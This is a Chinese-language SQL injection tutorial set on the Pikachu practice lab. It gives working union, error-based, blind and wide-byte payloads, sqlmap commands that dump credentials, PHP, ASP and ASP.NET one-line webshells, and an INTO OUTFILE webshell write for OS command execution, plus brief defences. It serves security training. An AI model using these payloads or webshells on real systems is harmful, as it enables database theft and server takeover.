概述
發生原因
SQL注入漏洞,主要是開發人員在構建代碼時,沒有對輸入邊界進行安全考慮,導致攻擊者可以通過合法的輸入點提交一些精心構造的語句,從而欺騙后台數據庫對其進行執行,導致數據庫信息泄漏的一種漏洞。
比如我們期望用戶輸入整數的id,但是用戶輸入了上圖中下面的語句,這是條能被正常執行的SQL語句,導致表中的數據都會輸出。
SQL注入攻擊流程
第一步:注入點探測
- 自動方式:使用web漏洞掃描工具,自動進行注入點發現
- 手動方式:手工構造SQL注入測試語句進行注入點發現
第二步:信息獲取
通過注入點取得期望得到的數據
- 1.環境信息:數據庫類型,數據庫版本,操作系統版本,用戶信息等
- 2.數據庫信息:數據庫蜜罐,數據庫表,表字段,字段內容等(加密內容破解)
第三步:獲取權限
- 獲取操作系統權限:通過數據庫執行shell,上傳木馬
注入點類型
分類根據:輸入的變量傳入到SQL語句是以什么類型拼接的
- 數字型:user_id=$id
- 字符型:user_id='$id'
- 搜索型:text LIKE '%{$_GET['search']}%'"
數字型注入(POST)
這里可以根據我們選擇的 userid 返回用戶名和郵箱
測試注入時,我們需要思考提交的參數后台是如何操作的。我們提交了一個d,返回了用戶名和郵箱。
正常來說,我們的數據是放在數據庫里的,當我們提交了這個id的,后台會帶這個參數到數據庫里查詢。
因為是用POST語句取得我們傳遞的參數值,傳遞給一個變量,再到數據庫查詢。所以我們猜測后台的查詢語句大概是下面這樣的
$id=$_POST['id'] select 字段1,字段2 from 表名 where id=1$id
下面我 BurpSuite 抓包來測試一下,把傳入的參數改成下面的語句,看看返回的結果
1 or 1=1
我們把 BurpSuite 中攔截的包發到 Repeater 中,修改id參數的值,查看響應結果。可以看到取出了數據庫中全部數據,說明存在數字型注入漏洞。
字符型注入(GET)
我們輸入“kobe”,可以得到下面的輸出
輸入不存在的用戶時,會提示用戶不存在。另外這是一個 GET 請求,我們傳遞的參數會出現都 URL 中
因為這里輸入的查詢用戶名是字符串,所以在查詢語句中需要有單引號。猜想后台的SQL查詢語句為
$name=$_GET['username'] select 字段1,字段2 from 表名 where username='$name'
我們需要構造閉合,閉合后台查詢語句中的第一個單引號,然后注釋掉第二個單引號,構造的payload如下
kobe' or 1=1#
MySQL中有3種注釋:
① #
② -- (最后面有個空格)
③ /**/,內聯注釋,這個可以在SQL語句中間使用。select * from /*sqli*/ users;
這時候我們也能看到這個表中的全部信息了
搜索型注入
這個功能運行我們輸入用戶名的一部分來查找,可以猜想后台使用了數據庫中的搜索這個邏輯,比如用了 LIKE 。比如
select 字段1,字段2 from 表名 where username like '%$name%'
如果真是這樣,我們就可以構造對應的閉合,閉合前面的 單引號 和 百分號,注釋后面的百分號和單引號。構造的payload如下
k%' or 1=1#
這時候也能取出表中的全部數據了
XX型注入
后台存在各種方式拼接我們的SQL語句,所以我們需要嘗試構造各種各樣的閉合。比如在這里后台就是用括號的方式拼接SQL查詢語句的
構造的payload如下
kobe') or 1=1#
通過information_schema拿下數據庫
union和information_schema
基於union聯合查詢的信息獲取
通過聯合查詢來查詢指定的數據,比如下面的語句
select username,password from user where id=1 union select 字段1,字段2 from 表名
聯合查詢的字段數需要和主查詢一致,上面主查詢查詢了 2 個字段 username 和 password,所以我們的 union 語句也要查詢兩個字段。
我們可以通過用databases(),user(),version()查詢數據庫的數據庫、用戶和版本信息。
select database(); select user(); select version();
使用 union 需要知道主查詢有多少個 字段,我們可以用 order by 來幫助我們猜測后台查詢語句查詢的字段數。
select 字段1,字段2 from users order by 1
后面跟着的數字表示根據查詢結果的第幾列進行排序,如果后台查詢 2 個字段,那我們 order by 3 時就會報錯,order by 2 時會正常返回
根據后台返回的結果我們就能知道后台有 2 個查詢字段
information_schema
在mysql中,自帶的 information_schema 庫里存放了大量的重要信息,如果存在注入點,我們可以訪問這個表獲得更多信息。
里面有3個基本的表
- SCHEMATA:提供了MySQL實例中所有數據庫的信息,show databases 的結果來自這個表。
- TABLES:提供了關於數據庫中表的信息(包括視圖)。描述了某個表屬於哪個數據庫。
- COLUMNS:提供了表中各列的信息,描述了某種表的所有列以及每個列的信息。
實驗
通過 pikachu 平台的字符型注入進行演示。我們先輸入一個單引號,提交后后台報錯,說SQL語句錯誤,說明存在注入點。
然后構造下面的payload,可以取出表中的全部數據
' or 1=1#
我們繼續利用 SQL注入漏洞,獲取基礎信息,我們先用 order by 確認主查詢有多少個字段
' or 1=1 order by 1# ' or 1=1 order by 2# ' or 1=1 order by 3#
當 odery by 3時報錯,說明主查詢中有 2 個字段,下面可以用 union 查詢更多信息
通過下面的語句獲取當前數據庫的名稱
' union select database(),user() #
數據庫名稱為 pikachu
下面利用 information_shcema 查詢 pikachu 中的表名
' union select table_schema,table_name from information_schema.tables where table_schema='pikachu' #
有了表名后,我們查詢表中的列名,比如查詢 users 這個表
' union select table_name,column_name from information_schema.columns where table_name='users' #
所得結果如下(部分)
這時候我們已經知道數據庫叫 pikachu,表名為 users,吸引我們的列名是 username,password
' union select username,password from users #
我們這時候就已經取得了經過md5加密的密碼
insert/update/delete注入
在這3種情況中,我們不能使用 union 去做聯合查詢,因為這不是查詢,而是操作。
基於函數報錯注入(updatexml)
常用的報錯函數:updatexml()、extractvalue()、floor()
基於函數報錯的信息獲取(select / insert / update / delete)
技巧思路:
- 在 MySQL 中使用一些指定的函數來制造報錯,從報錯信息中獲取設定的信息
- select / insert /update / delete 都可以使用報錯來獲取信息
背景條件:
- 后台沒有屏蔽數據庫報錯信息,在語法發生錯誤時會輸出在前端
三個常用函數
- updatexml(): MySQL 對 XML 文檔數據進行查詢和修改的 XPATH 函數
- extractvalue():MySQL 對 XML 文檔數據進行查詢的 XPATH 函數
- floor():MySQL中用來取整的函數
updatexml()
updatexml()函數作用:改變(查找並替換)XML 文檔中符合條件的節點的值
語法:UPDATEXML (XML_document, XPath_string, new_value)
第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。不過這里用不到。
第三個參數:new_value,String格式,替換查找到的符合條件的數據
- Xpath語法:https://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html
XPath 定位必須是有效的,否則會發生錯誤
我們在 pikachu 平台上的字符型注入中實驗,我們利用報錯來獲取信息,比如下面這條語句
' and updatexml(1, version(), 0)#
我們傳入 updatexml 中的三個參數都是錯誤的,中間那個值可以用表達式寫入。執行后會得到類似下面的錯誤
我們需要構造一個新的 payload,把報錯信息和我們查詢的信息一起輸出,構造下面的 payload如下,0x7e是符號 “~” 的16進制
' and updatexml(1, concat(0x7e, version()), 0)#
這時候就會打印出我們 MySQL 的數據版本了。那我們把 version() 換成 database() 就能取得數據庫的名稱了。
知道了數據名我們繼續查詢表名
' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu')), 0)#
但是此時會報錯,返回的數據多於 1 行(不止一個表) ,只能顯示 1 行報錯信息
我們在剛剛的 payload 后面用 limit 關鍵字,限制取回的結果
' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)), 0)#
上面返回了查詢結果中的第一個表名,如果要查詢第二個表名,我們可以把 limit 語句換成 limit 1,1
limit 后的第一個數據是起始位置,第二個數字是取出的數據條數
以此類推,取出所有的表名。有了表的名稱后我們就去獲取字段
' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)), 0)#
以此類推,取出所有的列名。我們就能去取數據了
' and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0)#
然后根據得到的用戶名,去查詢password
' and updatexml(1, concat(0x7e, (select password from users where username = 'admin' limit 0,1)), 0)#
insert/update注入
在這里,注冊頁面存在注入漏洞
所謂 insert 注入是指我們前端注冊的信息,后台會通過 insert 這個操作插入到數據庫中。如果后台沒對我們的輸入做防 SQL 注入處理,我們就能在注冊時通過拼接 SQL 注入。
我們就填必填的兩項,用戶那里輸入單引號,密碼隨便輸入,頁面會有報錯信息,說明存在SQL注入漏洞
這種情況下,我們知道后台使用的是 insert 語句,我們一般可以通過 or 進行閉合。后台的 SQL 語句可能是下面這個樣子
insert into member(username,pw,sex,phonenum,email,adderss) values('doge', 11111, 1, 2, 3, 4);
構造下面的 payload,基於 insert 下的報錯來進行注入
doge' or updatexml(1, concat(0x7e,database()), 0) or '
這時候報錯的信息就能前一個例子是一樣的,后面的操作也是這樣
下面看看 update 注入,比如我們更改密碼的時候,后台就是通過 update 去操作的。
登錄賬號:lucy,123456
我們在這里填入我們剛剛構造的 payload,然后提交也能得到相應的結果
delete注入
這里有一個留言板,點刪除可以把對應的留言刪掉
我們點刪除並用 BurpSuite 抓包,實際上就是傳遞了一個留言的 id,后台根據這個 id 去刪除留言
后台可能的 SQL 語句如下
delete from message where id=1
我們發送到 Repeater 中繼續進行實驗,由於參數的值是數字型,所以后台可能存在數字型注入漏洞,構造payload如下(沒有單引號)
1 or updatexml(1, concat(0x7e,database()), 0)
把 payload 經過 URL編碼后替換 BurpSuite 中 id 的值
我們也能得到同樣的結果
extractvalue()
核心原理是一樣的,也是對 XML
extractvalue()函數作用:從目標 XML 中返回包含所查詢值的字符串
語法:ExtractValue(xml_document, XPathstring)
- 第一個參數:xml_document 是 string 格式,為 XML 文檔對象的名稱
- 第二個參數: XPathstring,XPath 格式的字符串
Xpath定位必須有效,否則會發生錯誤。
同樣在字符型漏洞中實驗,構造以下 payload
' and extractvalue(1, concat(0x7e,database())) #
它跟 updatexml 使用起來效果是一樣的
floor()
向下取整。如果要用 floor() 構成報錯,必須滿足下面的條件
- 運算中有 count
- 運算中有 group by
- 運算中有 rand
' and (select 2 from (select count(*), concat(version(), floor(rand(0) * 2))x from information_schema.tables group by x)a)#
上面表達式執行的結果會以 “a” 作為別名,然后在 字符型注入 中提交,會得到下面的報錯
我們可以把 version() 的表達式替換成別的表達式
' and (select 2 from (select count(*), concat((select password from users where username='admin' limit 0,1), floor(rand(0) * 2))x from information_schema.tables group by x)a)#
http header注入
有些時候,后台開發人員為了驗證客戶端頭信息(比如cookie驗證)
或者通過http header獲取客戶端的一些信息,比如useragent,accept字段等
會對客戶端的http header信息進行獲取並使用SQL進行處理,如果此時並沒有足夠的安全考慮
則可能會導致基於 http header 的 SQL 注入漏洞
登錄賬號:admin / 123456
登陸之后會記錄以下信息
根據這個功能,我們知道后台會獲取 http header 里的數據,比如 user agent 等。那么它有對數據庫操作嗎?下面BurpSuite修改發包內容
把 User-Agent 改為一個單引號,發包看看后台處理的結果,發現直接報了 SQL 語法錯誤
這說明存在 SQL 注入漏洞,后台可能會 insert 到數據庫中,這個 payload 跟前面的 insert 實驗的是一樣的
1' or updatexml(1, concat(0x7e, database()), 0) or '
我們這時候就能取得數據庫名,后面的操作就是一樣的了
還有 cookie 也是可以注入的,后端可能會取得我們的 cookie,后端通過拼接 SQL 語句進行驗證
我們在 cookie 的用戶名后面加上一個單引號並發送
這時候也會報 MySQL 的語法錯誤
說明存在 SQL 注入漏洞,我們可以構造下面的 payload 進行測試
admin' or updatexml(1, concat(0x7e, database()), 0)#
然后我們也會取得數據庫名,再按常用方法繼續測試取得數據庫中的數據
盲注
在有些情況下,后台使用了錯誤屏蔽方法屏蔽了報錯
此時無法根據報錯信息來進行注入的判斷
這種情況下的注入,稱為“盲注”
盲注(based on boolean)
基於真假的盲注主要特征
- 沒有報錯信息
- 不管是正確的輸入,還是錯誤的輸入,都只有兩種情況(可以看做 0 or 1)
- 在正確的輸入下,后面跟 and 1=1 / and 1=2 進行判斷
我們在皮卡丘平台一進行實驗,輸入下面的測試語句
kobe' and 1=1# kobe' and 1=2#
發現一條正確執行,一條顯示用戶名不存在,說明后台存在 SQL 注入漏洞
因為這里的輸出只有 用戶名存在 和 用戶名不存在 兩種輸出,所以前面基於報錯的方式在這不能用。
我們只能通過 真 或者 假 來獲取數據,所以手工盲注是很麻煩的。
我們可以先用 length(database()) 判斷 數據庫名稱的長度
kobe' and length(database())>5# 。。。 kobe' and length(database())=7#
再用 substr() 和 ascii() 判斷數據庫由哪些字母組成(可以用二分法)
kobe' and ascii(substr(database(), 1, 1)) > 113# kobe' and ascii(substr(database(), 1, 1)) > 105# 。。。 kobe' and ascii(substr(database(), 1, 1)) = 112#
不斷重復,然后取得數據庫名。再和 information_schema 和 length 猜測 表名 的長度,我們可以用下面的 SQL 語句替代上面的 database()
(select table_name from information_schema.tables where table_schema=database() limit 0,1)
先判斷表名長度
kobe' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,100)) = 8#
然后猜解表名
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) > 113# 。。。 kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) =104#
同樣的方法去猜解列名、數據,就是麻煩,用工具會方便些
盲注(based on time)
基於真假的盲注可以看到回顯的信息,正確 or 錯誤
基於時間的注入就什么都看不到了,我們通過特定的輸入,判斷后台執行的時間,從而確定注入點,比如用 sleep() 函數
在皮卡丘平台一,無論輸入什么,前端都是顯示 “I don't care who you are!”
我們按 F12 打開控制台,選到網絡
然后我們輸入下面的 payload 進行測試
kobe' and sleep(5)#
如果存在注入點,后端就會 sleep 5秒才會返回執行結果
看到上面的結果說明我們注入成功了,構造下面的 payload,用 database() 取得數據庫的名稱,再用 substr 取字符判斷數據庫名稱的組成,如果猜解成功就會 sleep 5秒,否則沒有任何動作
kobe' and if((substr(database(), 1, 1))='p', sleep(5), null)#
后面也跟真假注入是一樣的了,替換 database() 就可,如
kobe' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1))='h', sleep(5), null)#
OS遠程控制
一句話木馬
短小而精悍的木馬客戶端,隱蔽性好,功能強大。利用各種語言中的函數執行代碼、操作系統命令等。
- PHP:<?php @eval($_POST['chopper']);?>
- ASP:<%eval request("chopper")%>
- ASP.NET:<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"], "unsafe");%>
通過 SQL 注入漏洞寫入惡意代碼
前提條件:
- 需要知道遠程目錄
- 需要遠程目錄有寫權限
- 需要數據庫開啟了 secure_file_priv,MySQL新特性,沒有開啟的話 into outfile 是不能寫入的
我們先開啟 secure_file_priv,在服務器中輸入下面的 MySQL 命令查看 secure_file_priv 開啟情況。如果不為空,而是 null,就需要開啟
show global variables like "%secure%";
我是在 Win7 中用 PHPstudy,在 my.ini 中添加下面的設置然后重啟服務即可
下面我們在 字符型注入 中進行實驗,構造的 payload 如下
kobe' union select "<?php @eval($_GET['test']);?>", 2 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\1.php"#
這時候,我們 select 出來的內容就被寫入到了 1.php 中
然后我們就能通過這個文件執行 php 代碼
我們可以用下面的 payload 執行操作系統命令
kobe' union select "<?php system($_GET['cmd']);?>", 2 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\2.php"#
然后可以用上傳的文件執行操作系統命令,比如查看系統上的用戶
我們還可以用 中國菜刀 連上我們寫入的一句話木馬
表(列)名的暴力破解
我們之前都是通過 information_schema 去獲取的信息,很多時候我們沒有權限去讀取里面內容,也可能是別的數據庫,沒有 information_schema
常用的方法就是用暴力破解的方式去獲得表名和列名
kobe' and exists(select * from aa)#
比如用上面的 payload,遍歷我們字典中的表名,把 攔截 的數據包發到 BurpSuite 中的 Intruder 中,暴力破解 表名即可
表名不存在時,會提示 doesn't exist,我們匹配這句話
這時候就爆破出一個表名了——users
然后同樣的思路爆破列名
kobe' and exists(select aa from users)#
SQL注入防范措施
- 代碼層面
- 對輸入進行嚴格的轉義和過濾
- 使用預處理和參數化(Parameterized)
- 網路層面
- 通過WAF啟用防范SQL Inject
- 雲端防護(360網站衛士,阿里雲盾)
轉義和過濾
預處理和參數化
網絡防范
sqlmap簡單使用
用 sqlmap 測試是否存在注入點
sqlmap -u "http://192.168.171.133/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2"
找到了一個注入點,參數是 name,后面是 sqlmap 使用的payload
然后使用 --current-db 查看當前的庫名
sqlmap -u "http://192.168.171.133/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --current-db
用 -D 指定我們數據庫名,用 --tables 去獲取表名
sqlmap -u "http://192.168.171.133/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables
然后獲取表中的列名
sqlmap -u "http://192.168.171.133/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns
然后獲取 users 表中的用戶名和密碼
sqlmap -u "http://192.168.171.133/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password --dump
然后我們可以用 sqlmap 自帶的字典爆破明文密碼
寬字節注入
當我們輸入有單引號時被轉義為\’,無法構造 SQL 語句的時候,可以嘗試寬字節注入。
GBK編碼中,反斜杠的編碼是 “%5c”,而 “%df%5c” 是繁體字 “連”。
在皮卡丘平台中,將利用 BurpSuite 截獲數據包,發送到 Repeater 中,在里面寫入 payload
當我們用通常的測試 payload時,是無法執行成功的,下面的payload會報錯
kobe' or 1=1#
因為在后台單引號會被轉義,在數據庫中執行時多了個反斜杠。我們可以用下面的payload,在單引號前面加上 %df,讓單引號成功逃逸
kobe%df' or 1=1#
在皮卡丘漏洞平台中,用的是 escape 函數轉義,這個函數的作用可以參考下面的博客
https://blog.csdn.net/chenjiayi_yun/article/details/43085579